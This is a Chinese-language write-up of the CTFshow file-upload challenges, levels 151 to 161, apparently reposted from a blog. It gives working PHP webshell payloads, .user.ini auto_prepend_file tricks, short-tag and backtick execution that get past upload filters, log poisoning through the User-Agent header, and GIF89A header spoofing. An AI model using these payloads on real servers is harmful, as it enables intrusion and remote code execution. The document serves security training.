CTFSHOW-文件上传-151到161关卡
151 152-JS验证+MIME
Content-Type: image/png
153-JS验证+user.ini
https://www.cnblogs.com/NineOne/p/14033391.html
.user.ini:auto_prepend_file=test.png
test.png:php eval($_POST[x]);?>
154 155-JS验证+user.ini+短标签
echo '123';?> //前提是开启配置参数short_open_tags=on
=(表达式)?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; script> //不需要修改参数开关
.user.ini:auto_prepend_file=test.png
test.png:=eval($_POST[x]);?>
156 JS验证+user.ini+短标签+过滤
.user.ini:auto_prepend_file=test.png
test.png:=eval($_POST{x});?>
157 158 159 JS验证+user.ini+短标签+过滤
使用反引号运算符的效果与函数 shell_exec()相同
.user.ini:auto_prepend_file=test.png
test.png:=system('tac ../fl*')?>
test.png: echo `tac /var/www/html/f*`?>
160 JS验证+user.ini+短标签+过滤
包含默认日志,日志记录UA头,UA头写后门代码
.user.ini:auto_prepend_file=test.png
test.png:=include"/var/lo"."g/nginx/access.lo"."g"?>
161 JS验证+user.ini+短标签+过滤+文件头
文件头部检测是否为图片格式文件
.user.ini:GIF89A auto_prepend_file=test.png
test.png:GIF89A =include"/var/lo"."g/nginx/access.lo"."g"?>
151关(修改前端代码即可)
后门代码:
post:x=system('ls');
修改前端代码
上传包含后门代码的php文件
通过POST提交指令x=system('tac ../flag.php');
152关(修改content-type类型,上传PHP文件)
通过修改前端代码,发现上传失败,先正常上传png,通过抓包猜测,限制了content-Type
继续修改前端代码。抓包,修改信息
153关(.user.ini包含1.png自动执行)
使用到了.user.ini的文件配置漏洞
.user.ini实际上就是一个可以由用户“自定义”的php.ini
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中
.user.ini : auto_prepend_file=1.png
1.png :
post : x=system('tac ../flag.php');
.user.ini 父目录中是自动带有index.php
154关( 换为=eval($_POST[x]);?>)
当内容检测中,过滤了,可以使用一下方法
echo '123';?> //前提是开启配置参数short_open_tags=on
=(表达式)?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; script> //不需要修改参数开关
这一关过滤的php,所以 换为=eval($_POST[x]);?>
155关
和154关的过关方法是一样的
发现存在过滤
156关(前端修改代码无效,上传后门代码)
过关方法:
-
png:=eval($_POST{x});?>
-
直接访问/upload/ post:x=system('tac ../flag.php'); 显示flag
发现存在内容检测过滤
但把[]去掉后,发现上传成功,说明对大括号进行过滤了,换{}试试
157关(过滤了php字段,通过*代替了php)
过关方法:
-
png:=system('tac ../flag.*')?>
-
直接访问/upload/ 显示flag
自动执行了代码=system('tac ../flag.*')?>
158关
和157关的方法是一样的
159关(过滤了PHP执行命令,反括号代替执行命令)
过关方法:1.png:= `tac ../fl*` ?>
.user.ini:auto_prepend_file=1.png
直接访问http://520b52c2-b233-4095-beb0-a8d8fe9a27b9.challenge.ctf.show/upload
160关(通过访问日志记录的读取,.user.ini的文件包含执行)
解题方法:
-
png:=include"/var/lo"."g/nginx/access.lo"."g"?>
-
.user.ini : auto_prepend_file=1.png
可以看到服务器的访问日志记录,发现了很多UA头,所以在UA头上做手脚
成功拿到flag
161关(修改内容-文件类型)
发现什么内容也无法上传
发现限制了文件类型内容,内容加GIF89A
#知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
来源地址:https://blog.csdn.net/m0_63917373/article/details/127272185